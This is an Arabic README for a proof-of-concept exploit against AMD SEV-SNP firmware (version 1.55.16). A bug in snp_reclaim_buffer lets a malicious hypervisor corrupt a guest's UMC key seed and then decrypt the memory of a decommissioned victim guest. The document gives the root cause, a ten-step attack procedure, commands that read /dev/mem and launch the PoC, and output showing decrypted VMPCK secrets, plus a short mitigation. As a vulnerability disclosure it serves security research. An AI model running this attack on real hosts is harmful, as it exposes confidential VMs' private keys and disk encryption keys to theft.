ثغرة في البرنامج الثابت لـ SEV

يحتوي هذا المستودع على استغلال لثغرة في البرنامج الثابت لـ SEV. يسمح الاستغلال بفك تشفير ذاكرة عشوائية لضيف SEV-SNP بعد إلغاء تفعيله.

تم اختباره على الإصدار 1.55.16 (الأحدث وقت كتابة هذا النص).

السبب الجذري

يحاول snp_reclaim_buffer دون قيد أو شرط كتابة تغييرات RMP مرة أخرى حتى عندما لا يكون العنوان مغطى بـ RMP. إذا لم يكن address مغطى بـ RMP، فإن عنوان إدخال RMP page_rmp_paddr لا تتم تهيئته بشكل صحيح أبدًا ويبقى على قيمته الأولية 0. ونتيجة لذلك، يحاول البرنامج الثابت كتابة التغييرات إلى إدخال RMP مرة أخرى إلى العنوان 0. هذا أمر سيئ لأن العنوان 0 مغطى بـ RMP ولا ينبغي الكتابة إليه دون مزيد من الفحوصات. إذا كان address خارج المنطقة المغطاة بـ RMP، فإن page_rmp_entry لا تتم تهيئته بشكل صحيح أبدًا ويحتوي على ذاكرة غير مهيأة من المكدس. هذه الذاكرة غير المهيأة ثابتة عمليًا.

يوجد تعليق يحذر من هذا النمط البرمجي تحديدًا، وهو أيضًا سبب عدم مفاجأتي إذا لم أكن أول من أبلغ عن هذا.

يتم استدعاء snp_reclaim_buffer مع عنوان صفحة الحالة الخاصة بالمخازن المؤقتة الدائرية لـ SEV عندما يطلب الهايبرفايزر الخروج من وضع المخزن المؤقت الدائري. هذا العنوان يُتحكم فيه من قبل المهاجم. توجد بعض الفحوصات لهذا العنوان، لكن الصفحات الافتراضية (أي الصفحات الواقعة خارج المنطقة المغطاة بـ RMP) مسموح بها صراحةً.

الاستغلال

يمكننا استغلال عملية الكتابة إلى العنوان 0 بوضع صفحة سياق ضيف هناك. من الملائم أن الحقل الأول في صفحة سياق الضيف هو بذرة مفتاح UMC، وهي بنفس حجم إدخال RMP تمامًا (كلاهما بحجم 16 بايت). من خلال خداع البرنامج الثابت لكتابة التغييرات مرة أخرى إلى العنوان 0، يمكننا إفساد بذرة مفتاح UMC. إدخال RMP غير المهيأ الذي تتم كتابته هو نفسه دائمًا، لذا فإن بذرة مفتاح UMC التالفة ستكون دائمًا متطابقة تقريبًا أيضًا: عدد الصفحات الفرعية (9 بتات) في إدخال RMP لا تتم كتابته، لكن جميع الحقول الأخرى تتم كتابتها. من خلال إنشاء صفحات سياق ضيف جديدة مرارًا وتكرارًا، بحيث يكون لكل منها عدد صفحات فرعية أولي عشوائي مختلف في كل مرة، يمكننا في النهاية إنشاء عدة ضيوف بنفس بذرة مفتاح UMC.

لاستغلال الثغرة، يمكننا تنفيذ الخطوات التالية:

1. أنشئ صفحة سياق ضيف على العنوان 0 للضيف الضحية.
2. استخدم الثغرة لإفساد بذرة مفتاح UMC الخاصة بالضيف الضحية.
3. فعّل صفحة سياق الضيف الضحية، وأطلق الضيف الضحية وشغّله.
4. ألغِ تفعيل الضيف الضحية.
5. أنشئ صفحة سياق ضيف على العنوان 0 للضيف المهاجم.
6. استخدم الثغرة لإفساد بذرة مفتاح UMC الخاصة بالضيف المهاجم. جميع البتات باستثناء 9 بتات مضمونة أن تطابق الضيف الضحية.
7. إذا كانت بذرة مفتاح UMC الخاصة بالضيف المهاجم تطابق تلك الخاصة بالضيف الضحية، فتابع، وإلا فانتقل إلى الخطوة 5.
8. فعّل صفحة سياق الضيف المهاجم وأطلقه مع تفعيل علم التصحيح.
9. خصّص ذاكرة الضيف الضحية للضيف المهاجم.
10. استخدم أمر SNP_DBG_ENCRYPT لفك تشفير ذاكرة الضيف الضحية باستخدام صفحة سياق الضيف المهاجم. سينجح ذلك لأن الضيف الضحية والضيف المهاجم يتشاركان بذرة مفتاح UMC.

التأثير

نظرًا لأننا لا نستطيع فك تشفير الذاكرة إلا بعد إلغاء تفعيل الضيف، فمن غير الممكن إنشاء تقارير مصادقة مزيفة حتى مع تمكننا من الوصول إلى أسرار الضيف. يمكننا فقط إنشاء تقارير مصادقة مزيفة إذا تم ترحيل الضيف إلى مضيف آخر قبل إلغاء تفعيله: في هذه الحالة، ستعمل الأسرار (أي VMPCKs) الخاصة بالضيف المُلغى تفعيله أيضًا على المثيل المُرحَّل الجديد.

لكن من الناحية العملية، تخزّن العديد من التطبيقات معلومات حساسة أخرى (مثل المفاتيح الخاصة ومفاتيح تشفير القرص) يمكن تسريبها باستخدام هذا الاستغلال.

التخفيف

يجب كتابة إدخال RMP مرة أخرى فقط إذا لم تكن الصفحة في الحالة الافتراضية.

استخدام PoC

1. غيّر المنطقة المغطاة بـ RMP في BIOS إلى 64GiB (0x10000 صفحة بحجم 1-MiB). إذا لم يدعم نظامك ذلك، فسيتعين تعديل تصحيحات Linux وفقًا لذلك. تم اختبار إثبات المفهوم على نظام بذاكرة 128GiB.
2. طبّق التصحيحات في مجلد linux-patches على أحدث إصدار من https://github.com/AMDESE/linux/commits/snp-host-v10. قم ببناء النواة وتثبيتها وإقلاعها.
3. أطلق ضيف SEV-SNP ضحية.
4. أثناء استمرار تشغيل الضيف، احصل على بذرة مفتاح UMC (المشفرة).
   root@kitploit:~

   root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
   118402003190020000d0150701000000
   

5. أوقف الضيف الضحية.
6. افحص سجلات النواة للعثور على موقع صفحة الأسرار التي تم إنشاؤها أثناء الإطلاق.
   root@kitploit:~

   root@server:~# dmesg | grep "kvm_amd: Detected secret page"
   [  463.851449] kvm_amd: Detected secret page at pfn 171a24
   

7. أعد تحميل وحدات النواة ccp و kvm و kvm_and:
   root@kitploit:~

   root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
   

   يبدو أن تصحيحات Linux تعبث بـ RMP وهذا يعيد تهيئة RMP.
8. شغّل إثبات المفهوم.
   root@kitploit:~

   root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
       Finished dev [unoptimized + debuginfo] target(s) in 0.03s
   Creating VM with identical UMC key seed
   [11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
   Raw page:
   000: 0300000000000000110fa0000000000000000000000000000000000082837143
   020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
   040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
   060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
   080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
   0a0: 0000000000000000000000000000000000000000000000000000000000000000
   0c0: 0000000000000000000000000000000000000000000000000000000000000000
   0e0: 0000000000000000000000000000000000000000000000000000000000000000
   100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
   120: 0000000000000000000000000000000000000000000000000000000000000000
   140: 0000000000000000000000000000000000000000000000000000000000000000
   160: c800000000000000000000000000000000000000000000000000000000000000
   180: 0000000000000000000000000000000000000000000000000000000000000000
   1a0: 0000000000000000000000000000000000000000000000000000000000000000
   1c0: 0000000000000000000000000000000000000000000000000000000000000000
   1e0: 0000000000000000000000000000000000000000000000000000000000000000
   200: 0000000000000000000000000000000000000000000000000000000000000000
   220: 0000000000000000000000000000000000000000000000000000000000000000
   240: 0000000000000000000000000000000000000000000000000000000000000000
   260: 0000000000000000000000000000000000000000000000000000000000000000
   280: 0000000000000000000000000000000000000000000000000000000000000000
   2a0: 0000000000000000000000000000000000000000000000000000000000000000
   2c0: 0000000000000000000000000000000000000000000000000000000000000000
   2e0: 0000000000000000000000000000000000000000000000000000000000000000
   300: 0000000000000000000000000000000000000000000000000000000000000000
   320: 0000000000000000000000000000000000000000000000000000000000000000
   340: 0000000000000000000000000000000000000000000000000000000000000000
   360: 0000000000000000000000000000000000000000000000000000000000000000
   380: 0000000000000000000000000000000000000000000000000000000000000000
   3a0: 0000000000000000000000000000000000000000000000000000000000000000
   3c0: 0000000000000000000000000000000000000000000000000000000000000000
   3e0: 0000000000000000000000000000000000000000000000000000000000000000
   400: 0000000000000000000000000000000000000000000000000000000000000000
   420: 0000000000000000000000000000000000000000000000000000000000000000
   440: 0000000000000000000000000000000000000000000000000000000000000000
   460: 0000000000000000000000000000000000000000000000000000000000000000
   480: 0000000000000000000000000000000000000000000000000000000000000000
   4a0: 0000000000000000000000000000000000000000000000000000000000000000
   4c0: 0000000000000000000000000000000000000000000000000000000000000000
   4e0: 0000000000000000000000000000000000000000000000000000000000000000
   500: 0000000000000000000000000000000000000000000000000000000000000000
   520: 0000000000000000000000000000000000000000000000000000000000000000
   540: 0000000000000000000000000000000000000000000000000000000000000000
   560: 0000000000000000000000000000000000000000000000000000000000000000
   580: 0000000000000000000000000000000000000000000000000000000000000000
   5a0: 0000000000000000000000000000000000000000000000000000000000000000
   5c0: 0000000000000000000000000000000000000000000000000000000000000000
   5e0: 0000000000000000000000000000000000000000000000000000000000000000
   600: 0000000000000000000000000000000000000000000000000000000000000000
   620: 0000000000000000000000000000000000000000000000000000000000000000
   640: 0000000000000000000000000000000000000000000000000000000000000000
   660: 0000000000000000000000000000000000000000000000000000000000000000
   680: 0000000000000000000000000000000000000000000000000000000000000000
   6a0: 0000000000000000000000000000000000000000000000000000000000000000
   6c0: 0000000000000000000000000000000000000000000000000000000000000000
   6e0: 0000000000000000000000000000000000000000000000000000000000000000
   700: 0000000000000000000000000000000000000000000000000000000000000000
   720: 0000000000000000000000000000000000000000000000000000000000000000
   740: 0000000000000000000000000000000000000000000000000000000000000000
   760: 0000000000000000000000000000000000000000000000000000000000000000
   780: 0000000000000000000000000000000000000000000000000000000000000000
   7a0: 0000000000000000000000000000000000000000000000000000000000000000
   7c0: 0000000000000000000000000000000000000000000000000000000000000000
   7e0: 0000000000000000000000000000000000000000000000000000000000000000
   800: 0000000000000000000000000000000000000000000000000000000000000000
   820: 0000000000000000000000000000000000000000000000000000000000000000
   840: 0000000000000000000000000000000000000000000000000000000000000000
   860: 0000000000000000000000000000000000000000000000000000000000000000
   880: 0000000000000000000000000000000000000000000000000000000000000000
   8a0: 0000000000000000000000000000000000000000000000000000000000000000
   8c0: 0000000000000000000000000000000000000000000000000000000000000000
   8e0: 0000000000000000000000000000000000000000000000000000000000000000
   900: 0000000000000000000000000000000000000000000000000000000000000000
   920: 0000000000000000000000000000000000000000000000000000000000000000
   940: 0000000000000000000000000000000000000000000000000000000000000000
   960: 0000000000000000000000000000000000000000000000000000000000000000
   980: 0000000000000000000000000000000000000000000000000000000000000000
   9a0: 0000000000000000000000000000000000000000000000000000000000000000
   9c0: 0000000000000000000000000000000000000000000000000000000000000000
   9e0: 0000000000000000000000000000000000000000000000000000000000000000
   a00: 0000000000000000000000000000000000000000000000000000000000000000
   a20: 0000000000000000000000000000000000000000000000000000000000000000
   a40: 0000000000000000000000000000000000000000000000000000000000000000
   a60: 0000000000000000000000000000000000000000000000000000000000000000
   a80: 0000000000000000000000000000000000000000000000000000000000000000
   aa0: 0000000000000000000000000000000000000000000000000000000000000000
   ac0: 0000000000000000000000000000000000000000000000000000000000000000
   ae0: 0000000000000000000000000000000000000000000000000000000000000000
   b00: 0000000000000000000000000000000000000000000000000000000000000000
   b20: 0000000000000000000000000000000000000000000000000000000000000000
   b40: 0000000000000000000000000000000000000000000000000000000000000000
   b60: 0000000000000000000000000000000000000000000000000000000000000000
   b80: 0000000000000000000000000000000000000000000000000000000000000000
   ba0: 0000000000000000000000000000000000000000000000000000000000000000
   bc0: 0000000000000000000000000000000000000000000000000000000000000000
   be0: 0000000000000000000000000000000000000000000000000000000000000000
   c00: 0000000000000000000000000000000000000000000000000000000000000000
   c20: 0000000000000000000000000000000000000000000000000000000000000000
   c40: 0000000000000000000000000000000000000000000000000000000000000000
   c60: 0000000000000000000000000000000000000000000000000000000000000000
   c80: 0000000000000000000000000000000000000000000000000000000000000000
   ca0: 0000000000000000000000000000000000000000000000000000000000000000
   cc0: 0000000000000000000000000000000000000000000000000000000000000000
   ce0: 0000000000000000000000000000000000000000000000000000000000000000
   d00: 0000000000000000000000000000000000000000000000000000000000000000
   d20: 0000000000000000000000000000000000000000000000000000000000000000
   d40: 0000000000000000000000000000000000000000000000000000000000000000
   d60: 0000000000000000000000000000000000000000000000000000000000000000
   d80: 0000000000000000000000000000000000000000000000000000000000000000
   da0: 0000000000000000000000000000000000000000000000000000000000000000
   dc0: 0000000000000000000000000000000000000000000000000000000000000000
   de0: 0000000000000000000000000000000000000000000000000000000000000000
   e00: 0000000000000000000000000000000000000000000000000000000000000000
   e20: 0000000000000000000000000000000000000000000000000000000000000000
   e40: 0000000000000000000000000000000000000000000000000000000000000000
   e60: 0000000000000000000000000000000000000000000000000000000000000000
   e80: 0000000000000000000000000000000000000000000000000000000000000000
   ea0: 0000000000000000000000000000000000000000000000000000000000000000
   ec0: 0000000000000000000000000000000000000000000000000000000000000000
   ee0: 0000000000000000000000000000000000000000000000000000000000000000
   f00: 0000000000000000000000000000000000000000000000000000000000000000
   f20: 0000000000000000000000000000000000000000000000000000000000000000
   f40: 0000000000000000000000000000000000000000000000000000000000000000
   f60: 0000000000000000000000000000000000000000000000000000000000000000
   f80: 0000000000000000000000000000000000000000000000000000000000000000
   fa0: 0000000000000000000000000000000000000000000000000000000000000000
   fc0: 0000000000000000000000000000000000000000000000000000000000000000
   fe0: 0000000000000000000000000000000000000000000000000000000000000000
   
   Secrets page:
   imi_en: false
   FMS: 00a00f11
   gosvw: 00000000000000000000000082837143
   vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
   vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
   vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
   vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
   VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
   tsc_factor: 200
   

   لاحظ أنه لا يوجد شيء مميز في صفحات الأسرار؛ يمكن استخدام هذا الاستغلال أيضًا لفك تشفير الصفحات العادية. تُستخدم صفحات الأسرار في إثبات المفهوم لأنها تحتوي على محتوى مميز جدًا يجعل من السهل ملاحظة نجاح فك تشفير ذاكرة الضحية.